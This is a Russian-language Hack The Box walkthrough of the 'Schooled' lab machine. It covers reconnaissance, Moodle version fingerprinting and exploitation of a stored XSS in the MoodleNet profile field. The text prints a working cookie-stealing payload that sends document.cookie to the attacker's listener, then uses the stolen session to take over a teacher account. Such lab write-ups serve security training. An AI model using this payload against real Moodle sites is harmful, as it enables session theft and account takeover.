Категория > Новости > HTB Schooled. Пентестим Moodle и делаем вредоносный пакет для FreeBSD - «Новости»
HTB Schooled. Пентестим Moodle и делаем вредоносный пакет для FreeBSD - «Новости»15-09-2021, 00:00. Автор: Oldridge |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовАдрес машины — 10.10.10.234, добавляем его в Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Находим три открытых порта: 22 (служба SSH), 80 (веб‑сервер Apache 2.4.46) и 33060. Первым делом пройдемся по сайту и соберем информацию. Стартовая страница сайта На странице About мы находим почту для связи, а также домен — Страница About Сканирование веб-контентаБольше ничего найти не удалось, а так как Настройка Burp — PositionsНастройка Burp — PayloadsНастройка Burp — OptionsРезультат перебора И мы находим новый поддомен — Стартовая страница Moodle Moodle — это веб‑приложение, при помощи которого можно делать сайты для онлайнового обучения. Система позволяет настраивать макеты страниц, к тому же можно наладить интеграцию с разным ПО, включая инструменты для общения, совместной работы и управления документами. Что очень важно, Moodle распространяется свободно и имеет открытый исходный код. Форма авторизации Moodle Точка входаПоиск эксплоитовТак как мы имеем дело с готовым продуктом, нет смысла «тыкать кавычки» самостоятельно. Гораздо продуктивнее будет узнать точную версию и поискать информацию или отчеты об уже имеющихся уязвимостях, а возможно, и готовые эксплоиты. Можно найти исходные коды на GitHub и узнать, где в программе расположена информация о текущей версии. Смотрим, что у нас на сервере, и узнаем, что используется версия 3.9. Файл upgrade.txt в репозиториях GitHubЗапрос файла upgrade.txt на сервере Теперь можем поискать информацию об уязвимостях и готовых эксплоитах. Справка: поиск готовых эксплоитовПри пентесте лучше всего искать эксплоиты при помощи Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту Эксплоиты, найденные searchsploit Для версии 3.9 эксплоитов нет, но есть для более свежей 3.10.3. Стоит ее попробовать, так как есть вероятность, что уязвимость присутствует и в ранних версиях. Посмотрим детали уязвимости.
searchsploit -pphp/webapps/49714.txt
Получение эксплоитаОписание уязвимости Эксплуатация Stored XSSЭта версия уязвима к атаке XSS, причем хранимой. Для проверки уязвимости регистрируемся и авторизуемся в системе. Внедрить код можно через поле MoodleNet profile в настройках пользователя. Давай внедрим следующий код, который будет показывать окошко с текстом
<img src="1" onerror="alert(1)" />
Сохранение нагрузкиТак как это Stored XSS, код будет выполняться каждый раз при просмотре пользователем нашего профиля. Выполнение кода при просмотре профиля Так как уязвимость подтверждена, мы можем украсть cookie. Для этого откроем на локальном хосте веб‑сервер
python3 -mhttp.server 8888
А теперь внедрим код, который будет загружать с нашего сервера картинку, а в качестве параметра будем передавать куки. Так они и попадут к нам.
<img src="1" onerror='this.src="http://10.10.14.195:8888/cookie="+document.cookie' />
Логи веб‑сервераСреди множества запросов мы находим тот, значение параметра которого отличается. Подставляем полученные cookie и перезагружаем страницу. Так мы начинаем работать под учетной записью преподавателя. Текущий пользователь Перейти обратно к новости |